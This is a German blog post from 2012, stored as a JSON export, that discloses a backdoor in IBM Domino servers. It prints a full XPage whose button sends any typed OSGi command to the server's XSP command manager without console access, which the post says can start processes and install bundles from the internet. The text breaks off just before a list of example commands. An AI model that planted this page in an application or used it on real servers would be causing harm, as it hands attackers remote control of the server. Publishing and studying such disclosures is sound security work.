{"id":503,"date":"2012-01-19T17:14:58","date_gmt":"2012-01-19T15:14:58","guid":{"rendered":"http:\/\/hasselba.ch\/blog\/?p=503"},"modified":"2012-01-19T17:14:58","modified_gmt":"2012-01-19T15:14:58","slug":"security-domino-server-backdoor-2","status":"publish","type":"post","link":"https:\/\/hasselba.ch\/blog\/?p=503","title":{"rendered":"Security: Domino Server Backdoor (2)"},"content":{"rendered":"

Aus einer XPages-Applikation l\u00e4sst sich der XSP Command Manager (das zugrundeliegende OSGi Framework) fernsteuern. Das Kommando entspricht dem Befehl<\/p>\n

tell http xsp <BEFEHL><\/pre>\n
auf der Domino Serverkonsole, nur dass hierf\u00fcr kein Serverkonsolenzugriff ben\u00f6tigt wird.<\/p>\n
Mit Hilfe der folgenden XPage lassen sich beliebige OSGi-Kommandos absetzen, also z.B. Prozesse starten, Bundles installieren (egal von welcher Quelle, auch aus dem Internet) und vieles mehr.<\/p>\n
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<xp:view xmlns:xp=\"http:\/\/www.ibm.com\/xsp\/core\">\r\n\u00a0\u00a0 <xp:button value=\"Send XSP Command\" id=\"button2\">\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 <xp:eventHandler\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 event=\"onclick\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 submit=\"true\"\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0 refreshMode=\"complete\">\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <xp:this.action><![CDATA[#{javascript:\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 var cmd = getComponent(\"inputTextXSPCmd\").value;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if( cmd == null || cmd == \"\")\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return;\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0var xcm = com.ibm.domino.xsp.bridge.http.engine.XspCmdManager.getInstance();\r\n\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0xcm.tell( cmd );}]]>\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/xp:this.action>\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 <\/xp:eventHandler>\r\n\u00a0\u00a0 <\/xp:button>\r\n\u00a0\u00a0 <xp:inputText id=\"inputTextXSPCmd\" \/>\r\n<\/xp:view><\/pre>\n
Die Seite sieht wie folgt aus:<\/p>\n
\"\"<\/p>\n
Beim Klicken auf „Send XSP Command“ kann man das Ergebnis auf der Serverkonsole sehen:<\/p>\n
\"\"<\/p>\n
Hier ein kleiner Auszug \u00fcber m\u00f6gliche Kommandos:<\/p>\n